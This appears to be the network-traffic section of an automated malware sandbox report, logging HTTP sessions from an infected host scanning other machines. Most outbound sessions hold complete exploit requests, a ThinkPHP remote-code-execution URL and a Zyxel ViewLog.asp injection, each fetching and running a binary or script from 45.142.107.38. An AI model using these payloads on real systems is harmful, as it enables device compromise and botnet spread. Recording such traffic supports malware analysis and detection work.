dir="ltr"><head><title>GPON Home Gateway</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="refresh" content="0; url=/login.html" /></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.13	39392	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:23.623600960 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:21Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.13	39396	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:24.266948938 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:21Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.13	47642	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:24.451483011 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 33 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:32Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.13	47706	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:25.323092937 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 33 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:33Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.13	48606	112.165.170.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:25.554191113 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:25.842056036 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Mon, 04 Mar 2024 14:06:25 GMT Server: lighttpd/1.4.33 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.13	39404	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:25.899636030 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:23Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.13	39950	112.30.217.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:26.026108980 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:26.665647030 CET	525	IN	HTTP/1.1 400 Bad Request Server: Byte-nginx Date: Mon, 04 Mar 2024 14:06:26 GMT Content-Type: text/html Content-Length: 230 Connection: close via: cache14.ahhncm12 x-request-ip: 154.16.192.203 x-tt-trace-tag: id=5 x-response-cinfo: 154.16.192.203 x-response-cache: miss Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 42 79 74 65 2d 6e 67 69 6e 78 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr/>Powered by Byte-nginx<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.13	34062	112.78.150.230	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:26.192135096 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:27.252952099 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:28.311113119 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:30.519114971 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:34.871045113 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:43.319042921 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:01.495002031 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:36.311011076 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.13	38280	62.29.80.249	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:26.436883926 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.13	39424	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:26.530796051 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:24Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.13	39722	94.131.109.240	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.367563963 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:28.247066975 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:28.432229042 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.13	57430	31.200.66.180	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.404928923 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.13	40968	62.29.36.13	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.407840967 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.13	37068	31.44.130.57	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.409272909 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.13	47716	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.411257982 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 33 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:35Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.13	39550	94.123.241.37	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.417692900 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:31.543117046 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:37.691005945 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:49.718998909 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:13.783061981 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:02.934954882 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.13	49936	62.202.155.128	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.610440016 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.13	39984	62.109.4.100	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.821075916 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.13	33276	94.122.0.155	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.823451996 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.13	50062	94.123.92.124	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.826685905 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.13	47638	95.211.4.172	80

